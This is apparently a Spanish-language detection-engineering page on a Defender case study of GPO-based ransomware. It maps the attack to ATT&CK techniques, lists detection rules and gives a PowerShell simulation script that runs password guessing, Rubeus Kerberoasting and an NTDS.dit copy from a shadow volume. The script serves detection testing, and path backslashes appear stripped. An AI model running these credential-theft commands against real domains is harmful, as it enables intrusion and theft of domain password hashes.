Estudio de caso: Cómo el escudo predictivo de Defender bloqueó un ransomware basado en GPO antes de su ejecución
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Microsoft Defender interrumpió un ataque de ransomware operado por humanos dirigido a una gran organización educativa al detectar el abuso de los Objetos de Directiva de Grupo (GPO) utilizados para debilitar configuraciones de seguridad y distribuir ransomware a través de tareas programadas.
Investigación
Los atacantes comprometieron una cuenta de administrador de dominio, realizaron enumeración de Active Directory, fuerza bruta de credenciales, recolectaron tickets de Kerberos y datos de NTDS, crearon cuentas locales falsas y desplegaron GPOs malintencionados para imponer una política de manipulación y activar la entrega de ransomware a través de tareas programadas.
Mitigación
El blindaje predictivo de Defender identificó la actividad maliciosa de GPO, aplicó endurecimiento temporal del GPO, bloqueó el despliegue de ransomware en tareas programadas y previno la encriptación en el 97% de los dispositivos.
Respuesta
Una vez detectado, los defensores deben habilitar inmediatamente el endurecimiento del GPO, contener cuentas comprometidas, bloquear el tráfico SMB sospechoso e investigar métodos adicionales de persistencia, incluida la creación no autorizada de cuentas locales.
"graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Nodos de Reconocimiento recon_action["<b>Acción</b> – Reconocimiento<br/>Utilizó AD Explorer para enumerar Active Directory y realizó adivinanzas de contraseñas."] class recon_action action recon_brute["<b>Técnica</b> – T1110 Fuerza Bruta: Adivinanza de Contraseñas<br/><b>Descripción</b> Intenta adivinar contraseñas utilizando ensayo y error."] class recon_brute technique recon_account["<b>Técnica</b> – T1087.002 Descubrimiento de Cuentas: Cuenta de Dominio<br/><b>Descripción</b> Enumera cuentas de usuarios de dominio."] class recon_account technique recon_gpo["<b>Técnica</b> – T1615 Descubrimiento de Política de Grupo<br/><b>Descripción</b> Recupera configuraciones de Políticas de Grupo de los controladores de dominio."] class recon_gpo technique %% Conexiones de Reconocimiento recon_action –>|utiliza| recon_brute recon_action –>|descubre| recon_account recon_action –>|descubre| recon_gpo %% Nodos de Acceso a Credenciales action_cred["<b>Acción</b> – Acceso a Credenciales<br/>Realizó Kerberoasting y vació NTDS.dit."] class action_cred action tech_kerb["<b>Técnica</b> – T1558.003 Kerberoasting<br/><b>Descripción</b> Solicita tickets de servicio y los descifra fuera de línea."] class tech_kerb technique tech_ntds["<b>Técnica</b> – T1003.003 Volcado de Credenciales del SO: NTDS<br/><b>Descripción</b> Extrae hashes de contraseña de la base de datos de Active Directory."] class tech_ntds technique %% Conexiones de Acceso a Credenciales action_cred –>|utiliza| tech_kerb action_cred –>|utiliza| tech_ntds %% Nodos de Persistencia action_persist["<b>Acción</b> – Persistencia<br/>Creó cuentas locales nuevas en hosts comprometidos."] class action_persist action tech_create_local["<b>Técnica</b> – T1136.001 Crear Cuenta: Cuenta Local<br/><b>Descripción</b> Agrega cuentas de usuario locales para acceso continuo."] class tech_create_local technique %% Conexiones de Persistencia action_persist –>|utiliza| tech_create_local %% Nodos de Movimiento Lateral action_lateral["<b>Acción</b> – Movimiento Lateral<br/>Utilizó credenciales de dominio robadas para acceder a comparticiones administrativas remotas vía SMB."] class action_lateral action tech_smb["<b>Técnica</b> – T1021.002 Servicios Remotos Comparticiones SMB/Administrativas de Windows<br/><b>Descripción</b> Aprovecha comparticiones SMB para movimiento lateral."] class tech_smb technique %% Conexiones de Movimiento Lateral action_lateral –>|utiliza| tech_smb %% Nodos de Evasión de Defensa action_evasion["<b>Acción</b> – Evasión de Defensa<br/>Desplegó GPO malicioso para deshabilitar Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Técnica</b> – T1484 Modificación de Política de Dominio o Inquilino<br/><b>Descripción</b> Altera Objetos de Política de Grupo para cambiar configuraciones de seguridad."] class tech_gpo_mod technique tech_impair["<b>Técnica</b> – T1562.001 Deshabilitar o Modificar Herramientas de Defensa<br/><b>Descripción</b> Apaga o modifica herramientas de seguridad."] class tech_impair technique %% Conexiones de Evasión de Defensa action_evasion –>|modifica| tech_gpo_mod action_evasion –>|deshabilita| tech_impair %% Nodos de Preparación de Impacto action_impact["<b>Acción</b> – Preparación de Impacto<br/>Creó tarea programada vía GPO para copiar y ejecutar archivos en todas las máquinas del dominio."] class action_impact action tech_scheduled["<b>Técnica</b> – T1053 Tarea/Trabajo Programado<br/><b>Descripción</b> Programa la ejecución de comandos en tiempos definidos."] class tech_scheduled technique tech_cmd["<b>Técnica</b> – T1059.003 Intérprete de Comandos y Scripts Shell de Comandos de Windows<br/><b>Descripción</b> Ejecuta archivos por lotes usando cmd.exe."] class tech_cmd technique tech_rundll["<b>Técnica</b> – T1218.011 Ejecución de Proxies Binarios del Sistema Rundll32<br/><b>Descripción</b> Carga DLLs maliciosas vía rundll32.exe."] class tech_rundll technique %% Conexiones de Preparación de Impacto action_impact –>|crea| tech_scheduled action_impact –>|ejecuta| tech_cmd action_impact –>|utiliza| tech_rundll %% Nodos de Despliegue de Ransomware action_ransom["<b>Acción</b> – Despliegue de Ransomware<br/>La carga útil intenta cifrar archivos; Defender bloqueó la propagación de GPO en muchos dispositivos."] class action_ransom action tech_encrypt["<b>Técnica</b> – T1486 Datos Cifrados para Impacto<br/><b>Descripción</b> Cifra datos de la víctima para exigir un rescate."] class tech_encrypt technique %% Conexiones de Despliegue de Ransomware action_ransom –>|utiliza| tech_encrypt %% Secuencia General del Flujo recon_action –>|lleva_a| action_cred action_cred –>|lleva_a| action_persist action_persist –>|lleva_a| action_lateral action_lateral –>|lleva_a| action_evasion action_evasion –>|lleva_a| action_impact action_impact –>|lleva_a| action_ransom "
Flujo de Ataque
Detecciones
Posible Actividad de Kerberoasting [correlate/bucket_span_10m/by src_ipaddr] (vía auditoría)
Ver
Posibles Patrones de la Herramienta AD Explorer (vía línea de comandos)
Ver
Desactivar la Supervisión en Tiempo Real de Windows Defender y Otros Cambios en Preferencias (vía línea de comandos)
Ver
Detección de Actividades de Enumeración de Active Directory y Recolección de Credenciales [Registro de Eventos de Seguridad de Microsoft Windows]
Ver
Ejecución de Simulación
Prerequisito: El chequeo previo de Telemetría y Línea Base debe haber pasado.
Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el narrativo DEBEN reflejar directamente los TTP identificados y apuntan a generar exactamente la telemetría esperada por la lógica de detección.
Narrativa del Ataque y Comandos
-
Enumeración de Active Directory con ADExplorer – Un atacante utiliza la utilidad living‑off‑the‑land ADExplorer.exe para explorar la base de datos de AD, generando un evento de creación de proceso que coincide con
Imagen|termina con: 'ADExplorer.exe'. -
Fuerza Bruta de Credenciales (T1110) – El atacante realiza un rociado de contraseñas contra una cuenta de dominio, provocando inicios de sesión fallidos repetidos (Evento 4625) con el motivo de falla
%#13(“El usuario ha intentado iniciar sesión desde un dominio no confiable”). -
Kerberoasting (T1558.003) – Utilizando la herramienta de código abierto Rubeus, el atacante solicita tickets de servicio de Kerberos para SPNs de cuentas de computadora (por ejemplo,
HOST01$). Cada solicitud produce el Evento 4769 dondeNombre del Serviciotermina con$. -
Volcado de NTDS (T1003.003) – El atacante crea una Copia Sombra de Volumen de la unidad del sistema y extrae
NTDS.ditusandontdsutil, provocando el Evento 4662 conTipo de Objeto = "ds"andTipo de Operación = "Replicación".
Las cuatro acciones se ejecutan en el mismo host dentro de una ventana de 5 minutos para emular una fase realista de “recolección” posterior al compromiso.
Guion de Prueba de Regresión
# -------------------------------------------------
# Guion de Simulación – Activa las cuatro rutas de detección
# -------------------------------------------------
# 1. Ejecución de ADExplorer (creación de proceso)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
Write-Host "ADExplorer no encontrado – descarga de marcador de posición para prueba."
# Simula copiando cualquier exe al nombre esperado
Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5
# 2. Intentos de inicio de sesión por fuerza bruta (4625 con %#13)
$domain = "CONTOSO"
$user = "testuser"
$badPwd = "ContraseñaIncorrecta123!"
1..3 | ForEach-Object {
$null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
Start-Sleep -Milliseconds 500
}
# 3. Kerberoasting vía Rubeus (requiere Rubeus.exe en PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
Write-Host "Rubeus no encontrado – omitiendo el paso de Kerberoasting."
} else {
& $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5
# 4. Extracción de NTDS.dit utilizando VSS (replicación 4662)
# Crear una copia sombra VSS y copiar NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5
Write-Host "Simulación completa. Toda la telemetría debería ser ingerida."
Comandos de Limpieza
# -------------------------------------------------
# Limpieza – elimina artefactos creados por la simulación
# -------------------------------------------------
# Elimina ADExplorer falso si fue creado
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue
# Elimina volcado de Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue
# Elimina volcado de NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue
# Limpia cualquier copia sombra creada (requiere administrador)
# vssadmin delete shadows /all /quiet
Write-Host "Limpieza terminada."